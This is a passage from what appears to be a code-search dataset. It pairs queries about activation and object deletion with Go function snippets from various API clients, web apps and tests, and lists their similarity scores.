%v\", err)\n\t\treturn\n\t}\n\n\tmsg := NewMessage([]string{email.Email}, c.Tr(\"mail.activate_email\"), body)\n\tmsg.Info = fmt.Sprintf(\"UID: %d, activate email\", u.Id)\n\n\tSendAsync(msg)\n}", "func (c *CloudChannelClient) ActivateEntitlementOperation(name string) *ActivateEntitlementOperation {\n\treturn c.internalClient.ActivateEntitlementOperation(name)\n}", "func (u *User) Enable(c echo.Context, userid string, active bool) error {\n\treturn u.udb.Enable(u.db, u.ce, userid, active)\n}", "func UpdateActivation(buildId string, active bool, caller string) error {\n\tvar err error\n\tif !active && (evergreen.IsSystemActivator(caller)) {\n\t\t_, err = UpdateAllBuilds(\n\t\t\tbson.M{IdKey: buildId,\n\t\t\t\tActivatedByKey: caller,\n\t\t\t},\n\t\t\tbson.M{\n\t\t\t\t\"$set\": bson.M{\n\t\t\t\t\tActivatedKey: active,\n\t\t\t\t\tActivatedTimeKey: time.Now(),\n\t\t\t\t\tActivatedByKey: caller,\n\t\t\t\t},\n\t\t\t},\n\t\t)\n\t} else {\n\t\t_, err = UpdateAllBuilds(\n\t\t\tbson.M{IdKey: buildId},\n\t\t\tbson.M{\n\t\t\t\t\"$set\": bson.M{\n\t\t\t\t\tActivatedKey: active,\n\t\t\t\t\tActivatedTimeKey: time.Now(),\n\t\t\t\t\tActivatedByKey: caller,\n\t\t\t\t},\n\t\t\t},\n\t\t)\n\t}\n\treturn err\n\n}", "func (group *ClientGroup) activate() {\n\tgroup.mutex.Lock()\n\tdefer group.mutex.Unlock()\n\tgroup.active++\n}", "func (tx *TextureBase) Activate(sc *Scene, texNo int) {\n\tif tx.Tex != nil {\n\t\ttx.Tex.SetBotZero(tx.Bot0)\n\t\ttx.Tex.Activate(texNo)\n\t}\n}", "func (r *SubscriptionsService) Activate(customerId string, subscriptionId string) *SubscriptionsActivateCall {\n\treturn &SubscriptionsActivateCall{\n\t\ts: r.s,\n\t\tcustomerId: customerId,\n\t\tsubscriptionId: subscriptionId,\n\t\tcaller_: googleapi.JSONCall{},\n\t\tparams_: make(map[string][]string),\n\t\tpathTemplate_: \"customers/{customerId}/subscriptions/{subscriptionId}/activate\",\n\t\tcontext_: googleapi.NoContext,\n\t}\n}", "func ActivateServiceAccount(serviceAccount string) error {\n\t_, err := util.ShellSilent(\n\t\t\"gcloud auth activate-service-account --key-file=%s\",\n\t\tserviceAccount)\n\treturn err\n}", "func (c *config) Activate(u *model.User, r *model.Repo, link string) error {\n\trawurl, err := url.Parse(link)\n\tif err != nil {\n\t\treturn err\n\t}\n\tc.Deactivate(u, r, link)\n\n\treturn c.newClient(u).CreateHook(r.Owner, r.Name, &internal.Hook{\n\t\tActive: true,\n\t\tDesc: rawurl.Host,\n\t\tEvents: []string{\"repo:push\"},\n\t\tUrl: link,\n\t})\n}", "func (tx *TextureFile) Activate(sc *Scene, texNo int) {\n\tif tx.Tex == nil {\n\t\ttx.Init(sc)\n\t}\n\ttx.Tex.SetBotZero(tx.Bot0)\n\ttx.Tex.Activate(texNo)\n}", "func (g *Gini) ActivateWith(act z.Lit) {\n\tg.xo.ActivateWith(act)\n}", "func (v *VirtualEnvironment) Activate() *failures.Failure {\n\tlogging.Debug(\"Activating Virtual Environment\")\n\n\tactiveProject := os.Getenv(constants.ActivatedStateEnvVarName)\n\tif activeProject != \"\" {\n\t\treturn FailAlreadyActive.New(\"err_already_active\", v.project.Owner()+\"/\"+v.project.Name())\n\t}\n\n\tif strings.ToLower(os.Getenv(constants.DisableRuntime)) != \"true\" {\n\t\tif failure := v.activateRuntime(); failure != nil {\n\t\t\treturn failure\n\t\t}\n\t}\n\n\treturn nil\n}", "func ActivateVersion(c *cli.Context) error {\n\t// get version string\n\tvstr, err := getVersionString(c)\n\tif err == errNoVersionString {\n\t\treturn ListInstalled(c)\n\t} else if err != nil {\n\t\treturn err\n\t}\n\tlogger.Debugf(\"specified version: %s\", vstr)\n\n\t// is is installed?\n\tinstalledVersions, err := GetInstalledVersions()\n\tif err != nil {\n\t\treturn err\n\t}\n\tif !stringContains(installedVersions, vstr) {\n\t\tlogger.Infof(\"version %s not installed, installing...\", vstr)\n\t\tif err = InstallPythonVersion(vstr, false); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\t// activate it\n\tif err := ActivatePythonVersion(vstr); err != nil {\n\t\treturn err\n\t}\n\tfmt.Println(\"activated\", vstr)\n\treturn nil\n}", "func (g *GitLab) Activate(ctx context.Context, user *model.User, repo *model.Repo, link string) error {\n\tclient, err := newClient(g.url, user.Token, g.SkipVerify)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t_repo, err := g.getProject(ctx, client, repo.Owner, repo.Name)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\ttoken, webURL, err := g.getTokenAndWebURL(link)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif len(token) == 0 {\n\t\treturn fmt.Errorf(\"no token found\")\n\t}\n\n\t_, _, err = client.Projects.AddProjectHook(_repo.ID, &gitlab.AddProjectHookOptions{\n\t\tURL: gitlab.String(webURL),\n\t\tToken: gitlab.String(token),\n\t\tPushEvents: gitlab.Bool(true),\n\t\tTagPushEvents: gitlab.Bool(true),\n\t\tMergeRequestsEvents: gitlab.Bool(true),\n\t\tDeploymentEvents: gitlab.Bool(true),\n\t\tEnableSSLVerification: gitlab.Bool(!g.SkipVerify),\n\t}, gitlab.WithContext(ctx))\n\n\treturn err\n}", "func (auth Authenticate) ActivateDevice(session *types.Session, deviceInfo *types.Device) error {\n\t//Make sure session of the request is valid\n\taccount, err := auth.getAccountSession(session)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = manager.DeviceManager{}.ActivateDevice(account, deviceInfo, auth.DB, auth.Cache)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "func (p *Patch) SetActivation(activated bool) error {\n\tp.Activated = activated\n\treturn UpdateOne(\n\t\tbson.M{IdKey: p.Id},\n\t\tbson.M{\n\t\t\t\"$set\": bson.M{\n\t\t\t\tActivatedKey: activated,\n\t\t\t},\n\t\t},\n\t)\n}", "func (p *Patch) SetActivation(activated bool) error {\n\tp.Activated = activated\n\treturn UpdateOne(\n\t\tbson.M{IdKey: p.Id},\n\t\tbson.M{\n\t\t\t\"$set\": bson.M{\n\t\t\t\tActivatedKey: activated,\n\t\t\t},\n\t\t},\n\t)\n}", "func TestActivate(t *testing.T) {\n\tif testing.Short() {\n\t\tt.Skip(\"Skipping integration tests in short mode\")\n\t}\n\t// Get anonymous client (this will activate auth, which is about to be\n\t// deactivated, but it also activates Pacyderm enterprise, which is needed for\n\t// this test to pass)\n\tc := getPachClient(t, \"\")\n\n\t// Deactivate auth (if it's activated)\n\trequire.NoError(t, func() error {\n\t\tadminClient := &client.APIClient{}\n\t\t*adminClient = *c\n\t\tresp, err := adminClient.Authenticate(adminClient.Ctx(),\n\t\t\t&auth.AuthenticateRequest{GitHubToken: \"admin\"})\n\t\tif err != nil {\n\t\t\tif auth.IsErrNotActivated(err) {\n\t\t\t\treturn nil\n\t\t\t}\n\t\t\treturn err\n\t\t}\n\t\tadminClient.SetAuthToken(resp.PachToken)\n\t\t_, err = adminClient.Deactivate(adminClient.Ctx(), &auth.DeactivateRequest{})\n\t\treturn err\n\t}())\n\n\t// Activate auth\n\tresp, err := c.AuthAPIClient.Activate(c.Ctx(), &auth.ActivateRequest{GitHubToken: \"admin\"})\n\trequire.NoError(t, err)\n\tc.SetAuthToken(resp.PachToken)\n\n\t// Check that the token 'c' received from PachD authenticates them as \"admin\"\n\twho, err := c.WhoAmI(c.Ctx(), &auth.WhoAmIRequest{})\n\trequire.NoError(t, err)\n\trequire.True(t, who.IsAdmin)\n\trequire.Equal(t, admin, who.Username)\n}", "func ActivateVersion(version, service string, client *fastly.Client) {\n\tv, err := strconv.Atoi(version)\n\tif err != nil {\n\t\tfmt.Println(err)\n\t\tcommon.Failure()\n\t}\n\n\t_, err = client.ActivateVersion(&fastly.ActivateVersionInput{\n\t\tService: service,\n\t\tVersion: v,\n\t})\n\tif err != nil {\n\t\tfmt.Printf(\"\\nThere was a problem activating version %s\\n\\n%s\", common.Yellow(version), common.Red(err))\n\t\tcommon.Failure()\n\t}\n\n\tfmt.Printf(\"\\nService '%s' now has version '%s' activated\\n\\n\", common.Yellow(service), common.Green(version))\n}", "func EncodeActivateRequest(ctx context.Context, v interface{}, md *metadata.MD) (interface{}, error) {\n\tpayload, ok := v.(*usermethod.ActivatePayload)\n\tif !ok {\n\t\treturn nil, goagrpc.ErrInvalidType(\"userMethod\", \"activate\", \"*usermethod.ActivatePayload\", v)\n\t}\n\treturn NewActivateRequest(payload), nil\n}", "func (r *resetActivationUserInteractor) Execute(ctx context.Context, req InportRequest) (*InportResponse, error) {\n\n\tres := &InportResponse{}\n\tmail := &service.BuildMailServiceResponse{}\n\n\terr := repository.ReadOnly(ctx, r.outport, func(ctx context.Context) error {\n\t\tuserObj, err := r.outport.FindUserByID(ctx, req.ID)\n\t\tif err != nil {\n\t\t\treturn apperror.ObjectNotFound.Var(userObj)\n\t\t}\n\t\tif userObj.ActivatedAt.Valid {\n\t\t\treturn apperror.UserIsAlreadyActivated\n\t\t}\n\n\t\tRDBkey := userObj.RDBKeyForgotPassword()\n\t\tRDBvalue := r.outport.GenerateRandomString(ctx)\n\n\t\terr = r.outport.RDBSet(ctx, RDBkey, RDBvalue, time.Hour*72)\n\t\tif err != nil {\n\t\t\tlog.Error(ctx, err.Error())\n\t\t}\n\n\t\tmail = r.outport.BuildMailActivationAccount(ctx, service.BuildMailActivationAccountServiceRequest{\n\t\t\tID: userObj.ID,\n\t\t\tTo: userObj.Email,\n\t\t\tName: userObj.Name,\n\t\t\tActivationToken: RDBvalue,\n\t\t})\n\n\t\treturn nil\n\t})\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tgo r.outport.SendMail(ctx, service.SendMailServiceRequest{\n\t\tTo: mail.To,\n\t\tSubject: mail.Subject,\n\t\tBody: mail.Body,\n\t})\n\n\treturn res, nil\n}", "func (prov *Provisioner) notifyActivation(resourceId string) error {\n\tconn, cerr := persistence.DefaultSession()\n\tif cerr != nil {\n\t\tlog.Errorf(\"[res %s] Error in getting connection :%v\", resourceId, cerr)\n\t\treturn cerr\n\t}\n\t//find the asset request for this notification\n\tar, err := conn.Find(bson.M{\"resourceid\": resourceId})\n\tdefer conn.Close()\n\n\tif err != nil {\n\t\treturn err\n\t}\n\tif ar.Status == persistence.RequestFulfilled {\n\t\tlog.Errorf(\"[res %s] Resource already fullfilled\", resourceId)\n\t\treturn fmt.Errorf(\"Resource is %s already full filled\", resourceId)\n\t}\n\tconn.Update(ar)\n\n\tif err = prov.activateVertexResource(resourceId); err != nil {\n\t\t//TODO This needs to be fixed, what is the correct status\n\t\tar.Status = persistence.RequestRetry\n\t\tconn.Update(ar)\n\t\treturn err\n\t}\n\n\tlog.Debugf(\"[res %s] Successfully activated resource\", resourceId)\n\tar.Status = persistence.RequestFulfilled\n\tif ar.Remediation {\n\t\tar.Remediation = false\n\t}\n\tar.Remediation = false\n\tconn.Update(ar)\n\treturn nil\n}", "func (g *GitStatusWidget) Activate() {\n\tg.setKeyBindings()\n\tg.renderer.Activate()\n}", "func (a *QuickConnectApiService) Activate(ctx _context.Context) (*_nethttp.Response, error) {\n\tvar (\n\t\tlocalVarHTTPMethod = _nethttp.MethodPost\n\t\tlocalVarPostBody interface{}\n\t\tlocalVarFormFileName string\n\t\tlocalVarFileName string\n\t\tlocalVarFileBytes []byte\n\t)\n\n\t// create path and map variables\n\tlocalVarPath := a.client.cfg.BasePath + \"/QuickConnect/Activate\"\n\tlocalVarHeaderParams := make(map[string]string)\n\tlocalVarQueryParams := _neturl.Values{}\n\tlocalVarFormParams := _neturl.Values{}\n\n\t// to determine the Content-Type header\n\tlocalVarHTTPContentTypes := []string{}\n\n\t// set Content-Type header\n\tlocalVarHTTPContentType := selectHeaderContentType(localVarHTTPContentTypes)\n\tif localVarHTTPContentType != \"\" {\n\t\tlocalVarHeaderParams[\"Content-Type\"] = localVarHTTPContentType\n\t}\n\n\t// to determine the Accept header\n\tlocalVarHTTPHeaderAccepts := []string{\"application/json\", \"application/json; profile=CamelCase\", \"application/json; profile=PascalCase\"}\n\n\t// set Accept header\n\tlocalVarHTTPHeaderAccept := selectHeaderAccept(localVarHTTPHeaderAccepts)\n\tif localVarHTTPHeaderAccept != \"\" {\n\t\tlocalVarHeaderParams[\"Accept\"] = localVarHTTPHeaderAccept\n\t}\n\tif ctx != nil {\n\t\t// API Key Authentication\n\t\tif auth, ok := ctx.Value(ContextAPIKey).(APIKey); ok {\n\t\t\tvar key string\n\t\t\tif auth.Prefix != \"\" {\n\t\t\t\tkey = auth.Prefix + \" \" + auth.Key\n\t\t\t} else {\n\t\t\t\tkey = auth.Key\n\t\t\t}\n\t\t\tlocalVarHeaderParams[\"X-Emby-Authorization\"] = key\n\t\t}\n\t}\n\tr, err := a.client.prepareRequest(ctx, localVarPath, localVarHTTPMethod, localVarPostBody, localVarHeaderParams, localVarQueryParams, localVarFormParams, localVarFormFileName, localVarFileName, localVarFileBytes)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tlocalVarHTTPResponse, err := a.client.callAPI(r)\n\tif err != nil || localVarHTTPResponse == nil {\n\t\treturn localVarHTTPResponse, err\n\t}\n\n\tlocalVarBody, err := _ioutil.ReadAll(localVarHTTPResponse.Body)\n\tlocalVarHTTPResponse.Body.Close()\n\tif err != nil {\n\t\treturn localVarHTTPResponse, err\n\t}\n\n\tif localVarHTTPResponse.StatusCode >= 300 {\n\t\tnewErr := GenericOpenAPIError{\n\t\t\tbody: localVarBody,\n\t\t\terror: localVarHTTPResponse.Status,\n\t\t}\n\t\tif localVarHTTPResponse.StatusCode == 403 {\n\t\t\tvar v ProblemDetails\n\t\t\terr = a.client.decode(&v, localVarBody, localVarHTTPResponse.Header.Get(\"Content-Type\"))\n\t\t\tif err != nil {\n\t\t\t\tnewErr.error = err.Error()\n\t\t\t\treturn localVarHTTPResponse, newErr\n\t\t\t}\n\t\t\tnewErr.model = v\n\t\t}\n\t\treturn localVarHTTPResponse, newErr\n\t}\n\n\treturn localVarHTTPResponse, nil\n}", "func (c *CryptohomeBinary) TPMAttestationRegisterKey(\n\tctx context.Context,\n\tusername,\n\tlabel string) (string, error) {\n\tout, err := c.call(\n\t\tctx,\n\t\t\"--action=tpm_attestation_register_key\",\n\t\t\"--user=\"+username,\n\t\t\"--name=\"+label)\n\treturn string(out), err\n}", "func (client IdentityClient) activateDomain(ctx context.Context, request common.OCIRequest, binaryReqBody *common.OCIReadSeekCloser, extraHeaders map[string]string) (common.OCIResponse, error) {\n\n\thttpRequest, err := request.HTTPRequest(http.MethodPost, \"/domains/{domainId}/actions/activate\", binaryReqBody, extraHeaders)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar response ActivateDomainResponse\n\tvar httpResponse *http.Response\n\thttpResponse, err = client.Call(ctx, &httpRequest)\n\tdefer common.CloseBodyIfValid(httpResponse)\n\tresponse.RawResponse = httpResponse\n\tif err != nil {\n\t\treturn response, err\n\t}\n\n\terr = common.UnmarshalResponse(httpResponse, &response)\n\treturn response, err\n}", "func TestOrgTeamEmailInviteRedirectsNewUserWithActivation(t *testing.T) {\n\tif setting.MailService == nil {\n\t\tt.Skip()\n\t\treturn\n\t}\n\n\t// enable email confirmation temporarily\n\tdefer func(prevVal bool) {\n\t\tsetting.Service.RegisterEmailConfirm = prevVal\n\t}(setting.Service.RegisterEmailConfirm)\n\tsetting.Service.RegisterEmailConfirm = true\n\n\tdefer tests.PrepareTestEnv(t)()\n\n\torg := unittest.AssertExistsAndLoadBean(t, &organization.Organization{ID: 3})\n\tteam := unittest.AssertExistsAndLoadBean(t, &organization.Team{ID: 2})\n\n\t// create the invite\n\tsession := loginUser(t, \"user1\")\n\n\tteamURL := fmt.Sprintf(\"/org/%s/teams/%s\", org.Name, team.Name)\n\treq := NewRequestWithValues(t, \"POST\", teamURL+\"/action/add\", map[string]string{\n\t\t\"_csrf\": GetCSRF(t, session, teamURL),\n\t\t\"uid\": \"1\",\n\t\t\"uname\": \"[email protected]\",\n\t})\n\tresp := session.MakeRequest(t, req, http.StatusSeeOther)\n\treq = NewRequest(t, \"GET\", test.RedirectURL(resp))\n\tsession.MakeRequest(t, req, http.StatusOK)\n\n\t// get the invite token\n\tinvites, err := organization.GetInvitesByTeamID(db.DefaultContext, team.ID)\n\tassert.NoError(t, err)\n\tassert.Len(t, invites, 1)\n\n\t// accept the invite\n\tinviteURL := fmt.Sprintf(\"/org/invite/%s\", invites[0].Token)\n\treq = NewRequest(t, \"GET\", fmt.Sprintf(\"/user/sign_up?redirect_to=%s\", url.QueryEscape(inviteURL)))\n\tinviteResp := MakeRequest(t, req, http.StatusOK)\n\n\tdoc := NewHTMLParser(t, resp.Body)\n\treq = NewRequestWithValues(t, \"POST\", \"/user/sign_up\", map[string]string{\n\t\t\"_csrf\": doc.GetCSRF(),\n\t\t\"user_name\": \"doesnotexist\",\n\t\t\"email\": \"[email protected]\",\n\t\t\"password\": \"examplePassword!1\",\n\t\t\"retype\": \"examplePassword!1\",\n\t})\n\tfor _, c := range inviteResp.Result().Cookies() {\n\t\treq.AddCookie(c)\n\t}\n\n\tresp = MakeRequest(t, req, http.StatusOK)\n\n\tuser, err := user_model.GetUserByName(db.DefaultContext, \"doesnotexist\")\n\tassert.NoError(t, err)\n\n\tch := http.Header{}\n\tch.Add(\"Cookie\", strings.Join(resp.Header()[\"Set-Cookie\"], \";\"))\n\tcr := http.Request{Header: ch}\n\n\tsession = emptyTestSession(t)\n\tbaseURL, err := url.Parse(setting.AppURL)\n\tassert.NoError(t, err)\n\tsession.jar.SetCookies(baseURL, cr.Cookies())\n\n\tactivateURL := fmt.Sprintf(\"/user/activate?code=%s\", user.GenerateEmailActivateCode(\"[email protected]\"))\n\treq = NewRequestWithValues(t, \"POST\", activateURL, map[string]string{\n\t\t\"password\": \"examplePassword!1\",\n\t})\n\n\t// use the cookies set by the signup request\n\tfor _, c := range inviteResp.Result().Cookies() {\n\t\treq.AddCookie(c)\n\t}\n\n\tresp = session.MakeRequest(t, req, http.StatusSeeOther)\n\t// should be redirected to accept the invite\n\tassert.Equal(t, inviteURL, test.RedirectURL(resp))\n\n\treq = NewRequestWithValues(t, \"POST\", test.RedirectURL(resp), map[string]string{\n\t\t\"_csrf\": GetCSRF(t, session, test.RedirectURL(resp)),\n\t})\n\tresp = session.MakeRequest(t, req, http.StatusSeeOther)\n\treq = NewRequest(t, \"GET\", test.RedirectURL(resp))\n\tsession.MakeRequest(t, req, http.StatusOK)\n\n\tisMember, err := organization.IsTeamMember(db.DefaultContext, team.OrgID, team.ID, user.ID)\n\tassert.NoError(t, err)\n\tassert.True(t, isMember)\n}", "func (_UsersData *UsersDataTransactor) SetActive(opts *bind.TransactOpts, uuid [16]byte, active bool) (*types.Transaction, error) {\n\treturn _UsersData.contract.Transact(opts, \"setActive\", uuid, active)\n}", "func (c *Client) ActivateType(ctx context.Context, params *ActivateTypeInput, optFns ...func(*Options)) (*ActivateTypeOutput, error) {\n\tif params == nil {\n\t\tparams = &ActivateTypeInput{}\n\t}\n\n\tresult, metadata, err := c.invokeOperation(ctx, \"ActivateType\", params, optFns, c.addOperationActivateTypeMiddlewares)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tout := result.(*ActivateTypeOutput)\n\tout.ResultMetadata = metadata\n\treturn out, nil\n}", "func (r Virtual_Guest) ActivatePublicPort() (resp bool, err error) {\n\terr = r.Session.DoRequest(\"SoftLayer_Virtual_Guest\", \"activatePublicPort\", nil, &r.Options, &resp)\n\treturn\n}", "func (b *OGame) ActivateItem(ref string, celestialID ogame.CelestialID) error {\n\treturn b.WithPriority(taskRunner.Normal).ActivateItem(ref, celestialID)\n}", "func getUserByActivationCode(code string) *User {\n\tuser := &User{}\n\tdb := getDB()\n\tdefer db.Close()\n\n\tdb.Select(\"*\").\n\t\tWhere(\"activation_code = ?\", code).\n\t\tFirst(user)\n\n\treturn getUser(user)\n}", "func ActivateStable(c *cli.Context) error {\n\tstable, err := GetStableVersion()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tisInstalled, err := isVersionInstalled(stable)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif !isInstalled {\n\t\tif err := InstallPythonVersion(stable, false); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tif err = ActivatePythonVersion(stable); err != nil {\n\t\treturn err\n\t}\n\tfmt.Println(stable)\n\treturn nil\n}", "func (k Keeper) activateContract(ctx sdk.Context, contractAddress sdk.AccAddress) error {\n\tif !k.IsInactiveContract(ctx, contractAddress) {\n\t\treturn sdkerrors.Wrapf(wasmtypes.ErrNotFound, \"no inactivate contract %s\", contractAddress.String())\n\t}\n\n\tk.deleteInactiveContract(ctx, contractAddress)\n\tk.bank.DeleteFromInactiveAddr(ctx, contractAddress)\n\n\treturn nil\n}", "func (a *DeviceAPI) GetActivation(ctx context.Context, req *api.GetDeviceActivationRequest) (*api.GetDeviceActivationResponse, error) {\n\tvar devAddr lorawan.DevAddr\n\tvar devEUI lorawan.EUI64\n\tvar sNwkSIntKey lorawan.AES128Key\n\tvar fNwkSIntKey lorawan.AES128Key\n\tvar nwkSEncKey lorawan.AES128Key\n\n\tif err := devEUI.UnmarshalText([]byte(req.DevEui)); err != nil {\n\t\treturn nil, status.Errorf(codes.InvalidArgument, \"devEUI: %s\", err)\n\t}\n\n\tif valid, err := devmod.NewValidator(a.st).ValidateNodeAccess(ctx, authcus.Read, devEUI); !valid || err != nil {\n\t\treturn nil, status.Errorf(codes.Unauthenticated, \"authentication failed: %s\", err)\n\t}\n\n\td, err := a.st.GetDevice(ctx, devEUI, false)\n\tif err != nil {\n\t\treturn nil, helpers.ErrToRPCError(err)\n\t}\n\n\tn, err := a.st.GetNetworkServerForDevEUI(ctx, devEUI)\n\tif err != nil {\n\t\treturn nil, helpers.ErrToRPCError(err)\n\t}\n\n\tnsClient, err := a.nsCli.GetNetworkServerServiceClient(n.ID)\n\tif err != nil {\n\t\treturn nil, status.Errorf(codes.Internal, err.Error())\n\t}\n\n\tdevAct, err := nsClient.GetDeviceActivation(ctx, &ns.GetDeviceActivationRequest{\n\t\tDevEui: d.DevEUI[:],\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tcopy(devAddr[:], devAct.DeviceActivation.DevAddr)\n\tcopy(nwkSEncKey[:], devAct.DeviceActivation.NwkSEncKey)\n\tcopy(sNwkSIntKey[:], devAct.DeviceActivation.SNwkSIntKey)\n\tcopy(fNwkSIntKey[:], devAct.DeviceActivation.FNwkSIntKey)\n\n\treturn &api.GetDeviceActivationResponse{\n\t\tDeviceActivation: &api.DeviceActivation{\n\t\t\tDevEui: d.DevEUI.String(),\n\t\t\tDevAddr: devAddr.String(),\n\t\t\t//AppSKey: d.AppSKey.String(),\n\t\t\tNwkSEncKey: nwkSEncKey.String(),\n\t\t\tSNwkSIntKey: sNwkSIntKey.String(),\n\t\t\tFNwkSIntKey: fNwkSIntKey.String(),\n\t\t\tFCntUp: devAct.DeviceActivation.FCntUp,\n\t\t\tNFCntDown: devAct.DeviceActivation.NFCntDown,\n\t\t\tAFCntDown: devAct.DeviceActivation.AFCntDown,\n\t\t},\n\t}, nil\n}", "func (u *User) Active() bool { return u.userData.Active }", "func (_UsersData *UsersDataTransactorSession) SetActive(uuid [16]byte, active bool) (*types.Transaction, error) {\n\treturn _UsersData.Contract.SetActive(&_UsersData.TransactOpts, uuid, active)\n}", "func (plugin *Plugin) activate(w http.ResponseWriter, r *http.Request) {\n\tvar req activateRequest\n\n\tlog.Request(plugin.Name, &req, nil)\n\n\tresp := ActivateResponse{Implements: plugin.Listener.GetEndpoints()}\n\terr := plugin.Listener.Encode(w, &resp)\n\n\tlog.Response(plugin.Name, &resp, 0, \"Success\", err)\n}" ]
[ "0.7415662", "0.72329617", "0.6980843", "0.6696836", "0.66881704", "0.66405827", "0.6558447", "0.6450118", "0.6438781", "0.6318497", "0.6216686", "0.6188786", "0.6153936", "0.61517125", "0.6151327", "0.6126233", "0.6110493", "0.6015183", "0.59973705", "0.59789026", "0.59787494", "0.5935517", "0.5922752", "0.59171367", "0.5913767", "0.58725476", "0.5864183", "0.58573306", "0.5856062", "0.5830338", "0.5827674", "0.57933193", "0.5739106", "0.5689457", "0.5688251", "0.5666102", "0.5635656", "0.55953175", "0.5586918", "0.55558866", "0.5542149", "0.5539858", "0.552267", "0.5495733", "0.5484573", "0.5472646", "0.54604536", "0.54580706", "0.54413205", "0.5440957", "0.54291743", "0.54232734", "0.54204917", "0.5411228", "0.5409602", "0.5409602", "0.5403685", "0.5385415", "0.5378039", "0.5377476", "0.5372014", "0.5367064", "0.5356245", "0.53494394", "0.5323944", "0.53174937", "0.5294066", "0.5291818", "0.52869034", "0.5278404", "0.525897", "0.5250771", "0.5242929", "0.52382576", "0.5238162", "0.5228607", "0.52111435", "0.52100503", "0.52100503", "0.5189181", "0.51745594", "0.5172541", "0.51635855", "0.51629424", "0.5144178", "0.5130519", "0.51245004", "0.5121256", "0.512019", "0.51056814", "0.50920564", "0.5083063", "0.50828266", "0.50816286", "0.50757235", "0.5049971", "0.5042244", "0.50328004", "0.5030288", "0.5020169" ]
0.78602976
0
Delete is a function that deletes an object from the CDN.
func Delete(c *gophercloud.ServiceClient, containerName, objectName string, opts os.DeleteOptsBuilder) os.DeleteResult { return os.Delete(c, containerName, objectName, nil) }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (c *Client) Delete(d core.Digest) error {\n\t_, err := httputil.Delete(fmt.Sprintf(\"http://%s/blobs/%s\", c.addr, d))\n\treturn err\n}", "func (s *PublicStorageServer) Delete(ctx context.Context, url *pbs.FileURL) (*emptypb.Empty, error) {\n\tvar obj file.MinioObj\n\tif err := obj.FromURL(url.Url); err != nil {\n\t\treturn nil, err\n\t}\n\n\terr := services.MinioClient.RemoveObject(context.Background(), \"public\", obj.ObjectName, minio.RemoveObjectOptions{})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tlog.Printf(\"Delete from url: %s\", obj.URL)\n\n\treturn &emptypb.Empty{}, nil\n}", "func (c *Client) Delete(rawurl string) error {\n\treturn c.Do(rawurl, \"DELETE\", nil, nil)\n}", "func Delete(c client.Client, obj runtime.Object) error {\n\tif err := c.Delete(context.Background(), obj); err != nil {\n\t\tif apierrors.IsNotFound(err) {\n\t\t\treturn nil\n\t\t}\n\t\treturn err\n\t}\n\treturn nil\n}", "func (handler *ObjectWebHandler) Delete(w http.ResponseWriter, r *http.Request) {\n\trespondWithError(w, http.StatusNotImplemented, \"Not implemented\", nil)\n}", "func (driver *S3Driver) Delete(id string) error {\n\treturn driver.client.RemoveObject(context.Background(), driver.bucket, id+\".json\", minio.RemoveObjectOptions{})\n}", "func Delete(url string, data ...interface{}) (*ClientResponse, error) {\n\treturn DoRequest(\"DELETE\", url, data...)\n}", "func (c *Client) Delete(url string, headers map[string][]string) (client.Status, map[string][]string, io.ReadCloser, error) {\n\treturn c.Do(\"DELETE\", url, headers, nil)\n}", "func (c *Client) Delete(ctx context.Context, url string, data ...interface{}) (*Response, error) {\n\treturn c.DoRequest(ctx, http.MethodDelete, url, data...)\n}", "func (api *bucketAPI) Delete(obj *objstore.Bucket) error {\n\tif api.ct.resolver != nil {\n\t\tapicl, err := api.ct.apiClient()\n\t\tif err != nil {\n\t\t\tapi.ct.logger.Errorf(\"Error creating API server clent. Err: %v\", err)\n\t\t\treturn err\n\t\t}\n\n\t\t_, err = apicl.ObjstoreV1().Bucket().Delete(context.Background(), &obj.ObjectMeta)\n\t\treturn err\n\t}\n\n\tapi.ct.handleBucketEvent(&kvstore.WatchEvent{Object: obj, Type: kvstore.Deleted})\n\treturn nil\n}", "func (s *s3ManifestService) Delete(ctx context.Context, dgst godigest.Digest) error {\n\treturn fmt.Errorf(\"unimplemented\")\n}", "func (client *Client) Delete(ctx context.Context, bucket *storage.BucketHandle, path string) error {\n\tobject := bucket.Object(path)\n\tif err := object.Delete(ctx); err != nil {\n\t\treturn fmt.Errorf(\"cannot delete %s, err: %w\", path, err)\n\t}\n\treturn nil\n}", "func (c *Client) Delete(url string, headers, queryParams map[string][]string, data interface{}) (response *http.Response, err error) {\n\treturn c.makeRequest(url, http.MethodDelete, headers, queryParams, data)\n}", "func (obj *SObject) Delete(id ...string) error {\n\tif obj.Type() == \"\" || obj.client() == nil {\n\t\t// Sanity check\n\t\treturn ErrFailure\n\t}\n\n\toid := obj.ID()\n\tif id != nil {\n\t\toid = id[0]\n\t}\n\tif oid == \"\" {\n\t\treturn ErrFailure\n\t}\n\n\turl := obj.client().makeURL(\"sobjects/\" + obj.Type() + \"/\" + obj.ID())\n\tlog.Println(url)\n\t_, err := obj.client().httpRequest(http.MethodDelete, url, nil)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "func Delete(k8sClient client.Client, obj client.Object) error {\n\treturn k8sClient.Delete(context.TODO(), obj)\n}", "func (c *Client) Delete(ctx context.Context, link string) error {\n\n\tauthKey, err := GetAccessTokenFromContext(ctx)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"Missing token in context\")\n\t}\n\n\treq, err := http.NewRequest(\"DELETE\", link, nil)\n\n\tif err != nil {\n\t\tlog.Error(\"Cannot create request:\", err)\n\t\treturn err\n\t}\n\n\treq.Header.Add(\"X-Requested-With\", \"XMLHttpRequest\")\n\treq.Header.Add(\"authorization\", authKey)\n\treq.Header.Add(\"Accept\", \"application/json\")\n\tresp, err := 